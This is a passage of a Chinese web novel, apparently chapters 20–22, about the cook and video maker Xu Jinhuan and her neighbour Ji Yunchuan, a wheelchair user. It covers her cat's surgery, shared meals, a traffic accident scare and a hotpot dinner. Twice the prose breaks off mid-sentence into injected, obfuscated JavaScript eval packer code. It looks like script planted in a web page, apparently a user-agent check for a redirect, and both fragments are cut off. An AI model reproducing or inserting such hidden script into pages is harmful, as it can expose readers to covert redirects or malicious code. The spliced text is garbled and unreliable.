“它其实很能干的。”他看水里那团小小的黄毛,眼里满是欣慰。 她看向他一副老父亲的模样,觉得好笑。那一刻她其实有点想伸手,终究只是把自己的手心握紧了一点。 日头移到另一片云后。她把垃圾袋装好,手边的水壶也收起来。崽崽在水里划了十来分钟,上岸的时候像个被拎起来的拖把,把一身的水往地上一甩,抖得周围人“哇”地后退。许尽欢笑了一下,等它跑过来拿毛巾把它包住擦了擦。崽崽乖得很,任她摆布,耳朵还舒服得抖了两下。 “回去吧?”他问,“不然该堵车了。” “好。” 他们走回车边,收拾东西,她把崽崽抱到后座,扣好安全带。纪允川转移回驾驶位,系好自己的安全带,手指扣上手控,动作利落。车子发动,音乐轻轻响起来。 郊外道路宽阔。她望着窗外发呆。崽崽玩了一白天,在后座很快就睡了,睡姿跟睡不安稳的小孩一样,四蹄朝天,嘴巴还张了一点。她回头看了它一眼,又把视线收回来。手机震了两下,电量红色,5%。她把屏幕滑灭,靠到座椅上。 “困了就睡。”他把车速压得更平稳,“我开得很稳的。” “我睡了你不会更困吗?”她问。 “不会的,放心吧。”他笑,“我可以听相声。” “……”她确实累了,就没坚持,没一会儿就睡着了。 风从玻璃上擦过去,落日的余晖一会儿一会儿地在她脸上轻轻铺一层柔和的暖色。许尽欢的睡相很安静,呼吸很轻,长而密的睫毛在暖光里投下淡淡的阴影,因为涂了口红显的气色不错。 他趁着红灯悄悄侧过去看了一眼,马上又把视线收回。他把空调往高了一些,怕风直吹了穿着短裙的她,手从空调口前划过,试了两次方向,把风往自己的方向多拨了一点。 进入市区后的长红灯。车稳稳地停住。纪允川把自己身上的衬衫脱下,犹豫了半秒,还是轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的眼睛亮得不像话,做出一个发誓的手势,掌心面对许尽欢:“我保证不添乱。” “你很难添乱。”她背上包,目光在他掌心磨出来的茧上停了一秒,“你很会安排。” 两人并肩溜达到电梯口,崽崽大概是玩累了,不情不愿地跟在两人身边。许尽欢点开手机:“你帮我充电了啊?” “红灯的时候看到你手机屏亮了,就顺手给你充上了。”纪允川有些紧张,观察着许尽欢的神色,发现对方没有不满,才稍微放下心来。 “谢了。”许尽欢扬起嘴角,“托你的福,我回家能直接洗澡了。” “啊?”纪允川显然没明白这两件事的关联。 “我浴室墙上有防水手机盒。”许尽欢解释。 “哇,好会享受啊。” “嗯哼。” 电梯到了十九层,她拍了拍崽崽脑袋和纪允川道别:“我走了。” “哎等等!你能把链接发我吗?我也打算享受一下。” “成。” 许尽欢背对着纪允川挥了挥手。 纪允川输入大门密码的时候手机震了一下。 是她发来购买链接。 他回:【谢啦!收到!】 一番搜寻后,点了一个把头埋进毯子的小狗表情包发过去。 20. 第 20 章 清晨的风从阳台缝里钻进来。许尽欢把平板、充电器、猫包从玄关柜里依次拿出来,检查了一遍医生发给她的术前清单,最后给抱抱系上项圈,熟练地摸到它喉结下方的扣子,留了两指宽的空隙。 “禁食八小时,禁水四小时。”她在手机里又确认一遍。 在备忘录确认内容,“需要带纸巾、备用毛毯、一次性尿垫。” 一切准备就绪后,她给纪允川发了微信,信息刚发出去,门铃就响了两下。 她开门,门外的人穿了件浅灰的卫衣,袖口挽到小臂,整个人看起来十分精神。轮椅靠在门槛处,低矮的靠背上挂着一只不大的双肩包。他朝她抬了抬下巴,“现在出发吗?” “嗯。”许尽欢把八小时没吃东西的暴躁抱抱装进猫包,拉链拉到只剩一个小缺口,伸指关节在网格上敲了两下,“乖,再忍一小时。”然后把猫包背在身前。 电梯里镜面把两人的影子拉得很薄。抱抱在包里挪动了一下位置。许尽欢低头,眼神不动声色地柔和下来。纪允川看见了,指了指自己的腿:“你要觉得猫包背在身上不方便可以放我腿上。” 她没推脱,“嗯”了一声,把抱抱放在纪允川的腿上。电梯到达地库,冷白的灯泡下他转动轮椅停在车旁,熟练地把轮椅刹住,先把抱抱放在车的后座安置好,然后到驾驶座,一手拉住车顶的把手将身体往车侧一错,左手抓住座椅,把自己稳稳转移到驾驶位。 许尽欢不是第一次看纪允川上下车,但每次看到他用常人难以想象的翻倍时间做出这些稀松平常的动作,总是不免在心底更敬佩他一点。 换位思考一下,每天困在这种身体里,自己大概是早就活不下去寻短见了。 “我今天顺便参观一下抱抱的宠物医院,之前崽崽去体检的宠物医院相熟的医生回老家了,我正合计找家新的宠物医院呢。”他笑得得意,“这也算是凑巧了。” “崽崽几岁了?”她忽然想起自从两个人认识,她还没问过崽崽多大了。 “两岁。”他说得不假思索。 “喔。 许尽欢“嗯”了一声,没有抬头,只把猫包扣牢。 车驶出地库,早高峰的车流一如往常,阳光被云层搅得稀碎。抱抱在包里安静了下来,偶尔改个姿势。路上纪允川还是放了轻音乐,混合转向灯在仪表盘里“滴答”地打节拍。许尽欢看着导航,时不时回头看看后座。纪允川把速度控制得很稳,起步刹车转弯都是能喝水的程度,倒是和他本人跳脱的性格不怎么相似。 “医生姓李。”她把预约单翻给他看,“上次给崽崽打疫苗的时候就是他,应该也就两三个小时,我查了一下,说是手术后还要观察半小时,你时间可以吗?” “我手头的事情都忙完了,万事俱备,就等正式内测了。”他单手操控方向,另一只手把她递过来的表单压在中控台,眼尾扫过去,“你写字真好看。” “小时候学过。”她淡淡回。 他笑出声:“你看上去不怎么情愿啊。” “我小时候很好动,学书法肯定是不情愿的。”许尽欢难得表现出孩子气的一面,纪允川被可爱得笑弯了眼。 抵达宠物医院门口,纪允川感慨:“这医院真不错啊,还有残疾人车位。” 前台被一排胶框收纳盒砌成堡垒,体温枪、消毒酒精安安分分地在盒子里排着队。许尽欢签完同意书,医生在抱抱胸口听了两下,手按了按它的腹部,“状态不错,体温正常,血检做过了。麻醉是标准剂量,术后我们会给一针止痛,止疼药回家口服两天。项圈戴十四天,不要让它舔舐伤口。” “十四天。”纪允川重复了一遍,拿手机记下,“那如果它不喝水,要不要强制?” 医生看他一眼,笑了:“这位先生做了很多功课啊。等会手术结束我一起给你们讲注意事项。” 许尽欢有些好奇地看他,纪允川耳尖微红。 两人对视了一秒,纪允川连忙把头扭过去。 抱抱被推走前回头“喵”了一声。许尽欢伸手捏了捏它的脖颈:“乖,很快就好。” 宠物医院的装潢充满童趣,走廊上的彩色长椅贴着墙,冷气从顶上的出风口出出来又被吸回去,各种小动物的声音充盈着空间。许尽欢戴上耳机,打开软件,把之前拍好的酱肉包和凉拌秋葵素材导入剪辑软件,关掉所有音轨只看画面。 揉面的时候面团在她指节下折叠,蒸汽和面粉扑到镜头上,水珠在黑镜面上合拢,秋葵切圈时刀尖抬起落下,拉出透明的丝,调整画面的饱和度,辣椒圈撒入其中,红绿鲜明,看起来令人食指大动。 纪允川也不觉得无聊,从双肩包里拿出一个保温杯,里面装着热柠水,放在她右手边的小桌子上,然后再把充电宝推到更近的位置。他没说话,坐在她身侧,身体往她那边偏了一点,视线落在她屏幕上,默默地围观她工作。 候诊区一角在规律的小动物叫声中忽起了小小的风波。 一对情侣抱着猫,女孩子头发挽得挺高,男孩子抱着一只布偶猫。两人声音已经尽力压低,但却因为情绪激烈,字字句句都清清楚楚。 “我一早就说了项圈至少得戴两周,你非说三天就能拆。现在好了,又得过来。你是不是有病?” “我看短视频的布偶猫绝育视频,人家术后半天精神就恢复了。” “你看短视频养猫?”女孩冷笑,“猫砂全是我铲的,猫饭全是我做的,我不知道你除了平时逗它两下还做了什么!” “……我没花钱吗!?我上班本来就比你忙,当初还不是你吵着要养猫?” “是是是,全怪我,可以了吗?” ······ 就在这一来一往里,许尽欢默默地把耳机音量轻轻往下降了几格,眼睛没动,屏幕视频里的秋葵还在切。她坐得很直,背没贴椅背,那点困倦的恹恹被吃瓜重新点燃了精神头。 纪允川余光瞥到,不免新奇地打量许尽欢。他本来以为许尽欢是那种对一切都没什么兴趣的淡人,没想到还挺喜欢八卦。实在是让人意外。 这一好奇地侧目,挡住了许尽欢围观的视线。许尽欢拍了一下纪允川的胳膊,声音很小:“挡住我了。” 纪允川终于笑出声,转动轮椅往后推了一点:“都精神了啊?” “嗯,别讲话。” 许尽欢一本正经地看着电脑屏幕偷听还在争吵的情侣,最后以男生恼羞成怒愤然离去作为结尾,女生抱着布偶猫看着男生离开才骤然塌下肩膀,无声落泪。 许尽欢对这个结局不怎么满意,收回视线,重新开始自己的工作。纪允川认真偷看了许尽欢全程的反应,被许尽欢的好信儿可爱到了,递上热柠水:“热心群众,喝点水吧?这杯子是新的,我早上才烫过。” “喔,我不介意。” 时间过得慢,医生从恢复区出来的时候,口罩下面的眉眼松着:“顺利,麻醉醒得很快,观察半小时,没什么大问题就能抱回家。” 交代术后注意事项的时候,纪允川拿着手机记录,许尽欢看到了连手机都没往外拿。 “如果它不肯喝水呢?”许尽欢问。 “用注射器少量多次沿着口角喂一点。”医生说,“注射器要是家里没有,走的时候去前台买一个就行了。” “好。”许尽欢看着纪允川备忘录拉了的表格戳了戳他:“隔空投送给我吧。” “好嘞。” 抱抱被推回来,眼神还迷糊,脖子上有些局促地戴着伊丽莎白圈。它看见许尽欢,尾巴在术衣底下一动,发出“呜”的一声。可怜得很。 许尽欢忍不住心疼,拧着眉,巴不得自己替它。 “我去开车,这段路你抱着吧。我怕它在我腿上被颠到了。”纪允川从口袋拿出车钥匙放在腿上。 “晚上有事吗?”她忽然问。 “没事。”他答得太快,自己也察觉了,轻咳了一下找补,“排得开。” “晚饭想吃什么?”她看着前方,“晚上买一点菜,我做。” 他忍住“只要你做的什么都行”这句在舌尖转了转的油腻蠢话,认真回答:“我不挑食,你要拍视频的话你拍啥我吃啥。” “行。”她稍加思索,然后点头:“先把抱抱放回家再出来买菜吧,不折腾它了。” 星河湾隔壁的进口商超人不多,冷气从蔬果区上方一路打下来,青菜叶子边缘还有水珠,灯管打下来的反光把西红柿照得像抛光过。许尽欢推着车,纪允川在侧边滑,车里先放了一盒一次性手套、厨房纸、垃圾袋。 “西红柿挑硬一点的,还有土豆。”她小声嘱咐着主动帮忙往塑料袋装东西的纪允川。 “好。”他把轻的交给她,“你拿葱姜蒜吗?” 她轻轻“嗯”一声。 结账的时候他不知道从哪掏出张卡,动作十分敏捷地贴了一下刷卡机,然后溜过去在一边装袋,重的他全揽了放在自己腿上,轻的装进小纸袋交给她。 许尽欢认真地开始思索,这个人去干家政应该会很受欢迎。 两人吹着盛夏的晚风散步回到了星河湾。 抱抱已经被安置在她没怎么睡过的主卧里,窝挪到角落,便盆垫低,灯调暗。它麻醉醒了后有些没精神,打了个呵欠,翻了个身重新趴下去。 许尽欢看了眼它,发现没什么事,换了宽松的衣服再出去,围 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她看他一眼,忽然想逗逗他:“那今晚连锅都交给你洗?” “没问题。”他说,“我是专业的。” 锅里油温起来,蒜片一入锅,“嗞”的一声。奶白菜的绿在热里往上蹿,边缘因为高温变软。 许尽欢动作快,盐抓起半撮,蒜香被青菜裹住,翻几下,出锅。 紧接着虾仁滑蛋的蛋液像金色的绸子在锅里摊开,葱花落进去,绿意散开;虾仁在蛋面里鼓起来一粒粒,亮晶晶的。她去拿盐,他也同时抬手,两人指尖擦了一下,像被静电碰到,她没缩回手,淡淡地调了半格盐过去,他立刻把手退开给她让路,喉结不自觉滚了一下。 “热吗?”他问,声音压得低,“要不要我去把空调调低一点?” “不用。”她把炒锅挪到另一只灶,“番茄土豆炖牛腩一会儿再走火,先做个汤。” 番茄菌菇豆腐汤红白相间,豆腐切得方方正正。氤氲着袅袅的香气。 饭桌上没有多余的客套,两人配合得十分默契。有一搭没一搭地闲聊,时间过的飞快。 饭后纪允川也真的去洗碗了。水槽的一体柜挡着他轮椅的一角,他侧身错了个角度,靠近一点,左手拿海绵,右手扶住碗。热水哗啦地流,泡沫堆在碗沿上。他洗得一点不马虎:先刮油、再冲洗、再摆放,晾架上的碗口朝一个方向,筷子起落有顺序,看起来似乎有点强迫症。 “右胳膊是不是留疤了?”她站在一边擦台面,手背轻轻碰了他肩一下。 “嗨,我一男的不碍事。”他无所谓地摆摆手。 她没接话,只把案板上最后一点葱末扫进垃圾碗,扔进垃圾袋,打了个结。厨房恢复如新,然后她走到卧室里拿了个纸袋出来。 卧室里,抱抱在窝里打呼噜,伊丽莎白圈每次呼吸都轻轻磕到窝边。许尽欢弯腰看了几眼,确认它睡得不错才离开。 “我找代购买了祛疤痕的药膏,你按时敷一下。” 纪允川接过纸袋,看上去似乎是被感动到了,眼睛忽然变得亮晶晶然后匆忙低下头:“哦好,谢谢。” 窗外的风从楼与楼之间穿过去。客厅的落地灯把两人的影子贴在墙上。她把围裙解开,转身把带子扯下来,忽然停住,“背后的结弄不开。” “我来?”他问,仍旧先征询。 她点头。 他伸手,指尖只碰到了绳子,拉开,结散了。 他把外套从椅背拿下来,“那我走啦。” “行。”她把门打开一条缝,又转身去厨房拿了个小盒子,“水果捞,今天谢谢你陪我。” 他接过,把盒子端正地摆在自己腿上:“晚安。” “晚安。”她点头。 门合上,她重新躺在沙发上,躺的四仰八叉,紧绷了一整天,她长长地舒了口气。他进电梯,屏幕上下一条提醒跳出来,他看了一眼,低笑了一下。 第二天一早,药的闹铃响在八点整。抱抱被她轻轻唤醒,舌头舔过她手心。纪允川那边发来一张崽崽端端正正坐在饮水机前的照片,配字:【今日也在努力做喝水模范生。】 她把药掰碎拌进进抱抱的病号餐里,她摸摸它的头:“今天好好休息。” 阳光被窗帘分成两截,落在地上,露出一小块金色。许尽欢回身,看着冰箱门上的便签和手机里的提醒同时亮着。 给他回了条消息【把药混进猫饭了,希望不要被发现。】 然后去厨房泡了杯茶,准备把昨天没剪完的片剪完,背后传来小小的脚步声,抱抱踩着地毯走过来,在她脚边坐好,轻轻地打了个呵欠。 21. 第 21 章 两个人的生活都回到了原来的轨道。 白天许尽欢在客厅开着低音量的《武林外传》当白噪音;晚上拍视频的时候打开摄影灯,抹布擦过台面,镜头对齐,手腕在光里转出刀锋的冷亮。 抱抱术后恢复得不错,不过伊丽莎白圈还没拆,偶尔想起来自己已经没有生育能力会恼火地“咕噜”两声。 纪允川那边工作室已经开始内测,似乎在密集地开会,不过还是会偶尔拍一张崽崽的睡姿:【小狗睡觉】 两人的微信对话框因为纪允川最近太忙而变得言简意赅,不过消息数量却比从前频繁。 纪允川偶尔会拍工作餐给她:【荤素搭配】 许尽欢躺在沙发上找其他能循环播放的电视剧:【看着很好吃。】 晚上八点,消息界面弹出一张新的图片:【晚饭是生煎,锅边脆的那种。】 许尽欢把剪辑好的两条视频导入草稿箱定时: 【那你多吃几个。】 刚发出去对面就发来一条感情浓度极高的消息; 【天杀的,我要报警抓这个厨师】 【这馅儿跟打死卖盐的似的!!】 许尽欢乐了: 【好惨。】 每一条消息看似都没什么营养,但许尽欢不觉得是需要应付的麻烦事。 即将夏末,许尽欢也终于打算出门逛逛,在背包里塞了钱包和钥匙,下楼去了步行街附近常去的那家独立书店。 书店在繁华的步行街尽头,门口放着一排开得正盛的玫瑰。她一进门,店员抬头:“欢迎光临。” 书店还是一如既往有股淡淡的墨香,混着角落吧台的咖啡香气。她一口气挑了五六本书,一本美食散文集,一本旅行杂志,还有评分不错的科幻短篇集,和一本厚重的食谱。最后在架子上看到了《动画短片美学》,她犹豫了半秒,还是选择抱起。 结账时,她顺手拿了一枚极简的银色书签,颜色和他车里手控杆的质感有点像。 店员问:“需不需要分袋装?” “分两袋,谢谢。” 袋子的把手处在掌心发硬,拎起来有点疼。她出门沿街慢慢走,风把城市的气味一路卷过来:汽车尾气、烤肠、夏末雨后草叶的湿腥。 夏天就要过去了。 路口车多。她本来准备从右边商场穿过去,走室内的从另一个出口回去。就在这时,第一声刺耳的刹车把她从胡思乱想里拽出来。 “吱——” 紧接着第二声、第三声,金属碰金属的刺耳撕裂了平静的空气。几乎是声音结束的同时,尖叫声音乍起,轮胎和柏油马路极限摩擦后的胶皮味和汽油味浓得像有人把它们兑成了饮料泼到路面上。 许尽欢下意识停下脚步,看见斜对面十字路口处三辆车追尾,中间的车头被前后夹击挤成了一个诡异的角度,玻璃碎成粉末,洒在黑色的路面反光刺眼。行人们开始聚过去,有人在打电话,喊“快打120!”“不要动她!不要动她——” 她虽然喜欢围观一些八卦,但是这种很明显的惨剧还是不怎么爱凑热闹,偏头看了看那边的人群,发现有人在报警和叫救护车了,索性快步转身往商场方向走。她打算到另一边绕路回家。链条包挨着胳膊,手里提着的书分量也不轻。 她刚转身,就听见身后人群里一道很用力的嗓音撕破一切杂乱的声音:“许尽欢——!” 她下意识回头去寻声音的来处。 交警很快地先到了现场,警戒线刚被拉起来,黄黑相间的塑料隔离带在空气中颤动。一个坐在轮椅里的男人被协警按住,他正往前挣,小臂的青筋绷出了形状,似乎急得语无伦次:“那是我朋友!让我过去确认一下,拜托了,就一下,我不碰她——” 他把身子往前倾,轮圈在他掌下发出短促的“咯吱”。喧闹的街上,他的声音像一粒钉子,精准钉住她离开的脚步。 许尽欢没多想,逆着人流回去,费力地穿过侧边人群,从警戒线的空隙抄近,先拍了拍他的肩。 “我在这。” 像被有人按住了关机键。流动的杂音被按下静音键。纪允川呆愣愣地转头,眼睛里红蓝警灯交错的光还晃着,双眼流转着泪水挤在眼眶的光彩。他迅速地把许尽欢从头到脚看了一遍,屏住呼吸,表情带着惊惧。他又转头看了一眼血泊里的人,整个人的肩膀劫后余生般骤然塌下。 “你......怎么不回我消息……”他声音低哑,双眼失焦。 她这才低头从口袋里拿出手机,果然处在震动模式,周围的人实在是太多了,打开消息软件后图标转了好几圈,几条消息才叠在一起冒出来。她没细看,把手机收回去:“我在商场里,没听见。你别怕。” 他仰着脸,死死地盯了她一秒,再一次看向人群那边—— 血泊里趴着着一个女孩,面朝下。但是风衣和许尽欢穿过的很像,许尽欢出门买菜经常喜欢背的款式相似的帆布袋散落在脚边,头发长度也很像。她跟着看了一眼,大概了解了刚刚这人的失态,收回目光,不知道该说点什么,只好干巴巴地开口:“你别害怕,那个不是我。” 他像被什么打了一下,喉咙滚了滚,没说话。协警看着这俩人无奈地摇了摇头,把拦住纪允川的手松了。他也没有再往前冲,只是把轮椅往她这边推了半步。 许尽欢这才发现,纪允川的手指在抖。手背的青筋还没退下去,像一根根张牙舞爪的藤。 她把手里的书放在纪允川的腿上,没找到他轮椅的后把手,只好握住一整个靠背,动作间难免碰到纪允川的后背,指尖一片湿意,对方汗如雨下。她赶紧带着他往商场廊柱后躲。红蓝光从他们身上掠过,落在地上的玻璃渣上,血液,汽油,还有水痕反映着警车的警示灯,像好莱坞的犯罪片。 人群的声浪隔了几十米远,才变成嗡嗡的杂音。许尽欢发现纪允川好像在发抖,也不知道该怎么安慰他。只好俯下去抱住他的肩,力道不大,但是靠得很近。 “我在这。别害怕。”许尽欢笨拙地拍了两下纪允川的后背,学着电视剧和电影的情节去安慰这个看上去吓惨了的人。 纪允川先是下意识地抓住她的肩膀,抓得很紧,像要确认她是真实存在的。好一会儿,他才慢慢松了,像是意识到了什么,放松手指,把手收回,垂落在他腿上纸袋的两侧。然后泄气似的把脑袋搭在许尽欢的肩膀上。 她的衣肩上很快湿出一点,在浅灰色的衬衫裙上,像水彩般洇开,许尽欢感受到肩头的湿热,觉得奇怪,于是她低头看他,一瞬间,她简直怀疑自己熬夜过度眼睛不好使看错了。 ……哭了? 她吓得一激灵,扶住纪允川的肩膀,然后彻底蹲下身子在纪允川的轮椅侧面,往前探了探脑袋,确认了一次,然后又确认了一次。 ……真哭了???!!! 她的脑子先是空了好几秒,在脑子里思索着对策,但实在是想不出什么解决办法,最后她只好机械地拍了两下他的背,声音低低的,带着不知所措:“那个......我没死。” 觉得有点苍白,又补了一句有理有据的版本:“那个不是我,只是穿衣打扮和身形都很像我。我现在好好地在你面前,你别害怕。” 纪允川有点说不出话,只能一口气一口气地往回顺。红着一双眼,跟兔子似的,眼眶潮湿,睫毛都塌了。 许尽欢在心里“天菩萨”了好几下,嘴上还是继续苍白地安慰。但很显然对于被吓了一大跳的纪允川来说,聊胜于无。 “回家。”他隔了半分钟后终于找回声音,短促地,显然已经开始为自己在暗恋对象面前的失态落泪羞恼。 “哎好,回家回家。”她顺着纪允川的毛。 眼见这种情况也没办法散步回去了,她松开他,找出手机加价打了个残疾人可用的商务专车。 车停在路口另一侧。她先去拉车门,让司机看见轮椅,再回头看他:“能自己上车吗?” “可以的。”他立刻回答,声音闷闷的,带着点鼻音。 他左手扣住轮圈,右手抓座椅边,肩背用力,臀部一点一点挪到座位上,动作熟练。她只是在边边处守着。等他坐稳,她把轮椅拆轮,车架提起放进后备箱,动作也很娴熟。 她钻进车里,车起步,窗外的红蓝光从侧窗滑过去。 车里安静了一会儿。许尽欢其实有点如坐针毡,摸了摸包里,幸好找到一包餐巾纸,然后把纸巾递到他手边,想着掉了那么多眼泪,应该得补补水,又递了一瓶水:“喝口水。” 他没接纸巾,只接了水,拧开,咽了一口。喉结滑过,像刚从沙漠里回来的人,也像久旱逢甘霖的干涸土地。 “以后我把你的消息开紧急提示。”许尽欢思索着怎么样能安慰到他但是不提起刚刚的情况,思忖着开口,“看见了会及时回复你的。” 他侧过脸看她,点了点头:“……好。” “还有,”她低头看了看自己衣服上被眼泪浸湿的地方,潮湿的布料贴在自己锁骨上,其实不太舒服,但她看到别人为了自己流下的泪水很新奇,“很谢谢你,这么担心我。” 纪允川大概是害羞,偏头不看她:“嗯。” 红灯停下。等待的时候她把手机打开,给他把微信的通知状态改成“总是提醒”。 空调风从膝盖的出风口里缓慢冒出来,吹到她指关节上。她忽然想到什么,摸了摸纸袋,摸到那本《动画短片美学》,书角硌到指尖。她把书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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今天也是如此,纪允川本以为自己在和许尽欢的相处里已经算是英勇冲锋的勇士,直到某个瞬间,街头的红蓝光和她相似的风衣重叠,被他欲盖弥彰着的摇摇欲坠的危房瞬间坍塌。 他抬手,敲了两下自己肩胛骨的位置。 那是她刚才轻轻拍过的地方。 崽崽的耳朵闻声动了一下,又把头放回去。 他闭了眼,太久以后才睡。 第二天他们都回到自己的日常,像什么也没发生,只是微信上的语气不太一样。 【今天拍视频,可能会静音几个小时,到晚上才有空。】 【好。我这边下午开会。出去买菜记得带伞。】 【知道。】 到晚上,她把书摊在桌上,她拍了一张《动画短片美学》发过去:【这本书,明天给你。】 他回:【哇,你怎么知道我们内测的动画出了问题。】又发一个小狗转圈撒娇的表情,露出一截毛耳朵。 抱抱把脑袋贴上她的手,眼睛眯成一条线。 她拿着那本《动画短片美学》,按响二十楼的门铃,一开门,弥漫着熟悉的淡淡洗衣液香味和雨的气息。她把书递给他:“去书店买书的时候看到的,你之前提过。” 纪允川感动而珍重地双手接过书:“你居然还记得。” 许尽欢认真地看着纪允川的脸。再次别开目光的时候,唇角往上扬起。 他冲她挥挥书脊:“我今晚睡前就看。” 许尽欢露出一个真心实意的开怀笑容:“我又不是第二天要检查背诵的小学老师。” “哎,话不能这么说。”纪允川扬起头,看着许尽欢:“你特意买给我的书,我当然要认真看。” 崽崽晃着尾巴,把头塞进许尽欢的手里求摸,纪允川家的电视不知道从什么时候起也开始全天候播放着电视剧。 她被纪允川家里夕阳透过玻璃的暖黄色包围,下意识望向阳台。 纪允川一直偷偷看着许尽欢,似乎是在悄悄观察那天她看到自己哭的那么难看会不会觉得自己靠不住而讨厌自己,于是也顺着她的目光看向阳台。 许尽欢发现了纪允川跟着自己有样学样,大概率是在偷瞄自己,于是蓦地笑了。 小区的树已经有几片黄色的叶子了。 许尽欢淡淡道:“夏天要过去了。” 纪允川接话:“秋天要来啦。” 嗯,秋天要来了。 糖炒栗子和烤红薯都会出摊儿了,落叶会变得很好踩,人的衣服也会多一件外套,如果谈恋爱的话,可以排除穿上羽绒服变得臃肿和盛夏被汗打湿人也黏糊糊这两个选项,拥有一个温度适宜的拥抱。 22. 第 22 章 那天之后,谁也没再提过路口那场虚惊。 电视剧小声在客厅里循环,抱抱蹲在落地窗前,已经取下了伊丽莎白圈,似乎是发现自己已经没有了生育能力,时常变得惆怅,总是站在阳台的落地窗前思索猫生。许尽欢把新买的书从纸袋里抽出来,一本一本码在书架最下层,书脊朝外,色块并排,她的书架看上去像一道低饱和的彩虹。 把最后一本塞好,她起身去倒了杯水。白色的杯沿碰到她唇角,她慢慢喝了一口,眼神落在茶几上的手机上。 她其实不笨。事故那天的慌张、他在警戒线外被拦住时那种近乎失控的急躁,都像一串明晃晃的重点标记,把正在试图理解的她带到了一个简单的结论终点。 她先在心里一条条划去横杆: 首先排除反感; 排除只是邻居; 排除只是老同学; 最后排除只是朋友。 他有自己的事业,经济能力不在她之下;身体不好,但能自理;性格比她热闹,话多一点,却有教养懂分寸不冒犯;更重要的是,他乐观,通透,懂边界。至于残疾的部分,她昨晚翻了一夜的科普,详细了解了那些看不见的麻烦,但她也想到,在事故那天,她会愿意安抚他而抱住纪允川,而这个动作竟然很自然,甚至连自己都没预想过。 她转头看抱抱。小猫正挤在沙发角落,努力把自己塑造成一只半径二十厘米的可怜球体。 “咱们家以后……可能会多一个人吃饭。”她对抱抱说。 抱抱“喵”了一声,奶茶色的毛在灯下反着淡淡的光。 “你不能再欺负他了,上次那一爪子给人家胳膊都弄留疤了。”她蹲下揉了揉抱抱的下巴,声音很轻。 抱抱把圈往她手掌里一拱,似懂非懂。 手机屏幕亮了一下,恰好显示着时间。她拿起来,打开那个只有一个大写字母“J”的对话框。 【吃火锅不?】 对面几乎同时弹出一行字:【半小时,我下班就过去。】 【好。】 她把抱抱的计时喂食器调到晚饭,换了一碟新鲜的清水,电视保持在背景声档。出门前想了想,揣了两片胃药,穿了薄风衣。 纪允川把聊天框收起来,滑开通讯录,打给火锅店。 “包厢要无障碍,可以的话椅子先撤两把,谢谢了。” 挂了电话,他去办公室里的休息室换衣服。深灰色衬衫,袖口挽到小臂,领口扣第二粒。他把备用的酒精片、创可贴、便携湿巾,还有以防万一的一次性导尿管全都塞进轮椅后的包,顺手在卫生间镜子前理了理头发。崽崽在门口打转。 “哥去吃饭,别太想我。”他揉了揉办公室里收养的流浪猫发财的脑袋。 发财“喵”了一声,像说“谁稀罕想你”。 电梯到一楼,他转移上车,深呼吸了一下。这几天偶尔回想起那天警戒线外看见相似衣服躺在血泊的那个瞬间,他指尖还是会微微发抖。但他很快把那点不受控压下去,今天是火锅,半小时后,许尽欢会坐在他的对面,热气会把他们之间的空气烫一烫,很多东西就会自然落回原位。 火锅店门口,玻璃门里蒸汽氤氲,墙上的灯箱把虾滑、牛肉、毛肚、黄喉各自衬得鲜亮。 许尽欢比约定早到了两分钟。她站在门口,风衣领口被风掀开一点,人群在她身后流动。她看见一辆底盘不高的黑色轿车停下,男人灵活地把轮椅部件从车里拿出组装,然后转移、坐稳、关门,动作熟练,像经过千百次演练的某种优雅的舞步。 他抬头看见她,笑得开朗。 “你提前到啦。”他滑到她面前,仰视的角度让他的眼睛亮晶晶的,“走吧。” “嗯。”她拉了一下风衣袖口,侧身把门扶住,方便他先进。 店员早在门口等着,认出他就是打电话交代细节的那位,连声“这边请”。包厢的门推开,走道果然清爽,椅子撤了两把,桌脚下垫了防滑垫,空调开在合适的温度。 “你提前说了?”她看了一眼布置适宜的包厢,又看向他。 “提了两句。”他把话说得轻松,手却很诚恳地向前一让,“进。” 座位安排自然。她坐在靠近门的位置,他把轮椅停在她对面,锁住刹车。服务生把鸳鸯锅抬上来,番茄和麻辣各占半边,红白交界处均匀地冒着气泡。 他替她配蘸料,芝麻酱打薄,葱花和蒜末点到为止,最后撒上一把小米辣,滴了两滴香油。她尝了一口,点点头:“可以。” 她顺手把纸巾盒挪到他左手边,避开右臂挪动的范围。 服务生端上来第一批菜。毛肚在红汤里“涮涮”两下,出锅她夹起来沾了一下蘸料。辣味敲在舌尖,鼻翼轻轻泛起一点热。她吃辣能力向来不错,这点辣不算什么。她把一盘嫩牛肉推向他:“这个可以涮番茄锅。” “遵命。”他接过去,笑得很乖。 她伸手去捋他的袖口,帮他把布料再往上挽了一寸,避免满桌汤水。他低头,看到她的指尖擦到他的腕骨,温度轻轻一擦,像电流掠过神经。 他慌慌张张地别开视线,去拿桌边的发圈,递给她:“热了就扎一下。” 她“嗯”了一声,把头发顺到一侧,低头、不带多余动作地套上发圈。光从她耳后和颈侧洒下,一片白,纪允川感觉自己的脉搏都在跟着她动作轻轻跳动。 包厢门没关紧的一条缝被推开。 “哟,允川?”一个熟悉的男声带着笑意。 纪允川抬头,语气下意识地活泼了起来:“小齐哥!萧潇姐!” 门外,齐斯年穿着藏蓝色西装三件套,身边站着一个身着浅粉色职业套装的短发女人,干练漂亮。她看了一眼许尽欢,礼貌点头,许尽欢也微微颔首。 齐斯年的视线里带着点打趣:“我和我女朋友过来吃饭。你们这是——” “我和好朋友吃饭!你快走吧你。”纪允川飞快接话。 齐斯年“啧啧”两声,笑:“那哥哥就走了。” 门合上,热气重新把空间填满。 “你人缘不错。”许尽欢捞起一筷子黄喉,淡淡地说。 “以后……你会认识的。”他夹了一片牛肉,落进清汤,一两秒出锅,蘸料沾边,“他嘴巴很厉害的。” “我看出来了。”她想起这位齐先生偶遇自己后临场发挥出的一场演技不错的“临时出差”,不免轻笑。 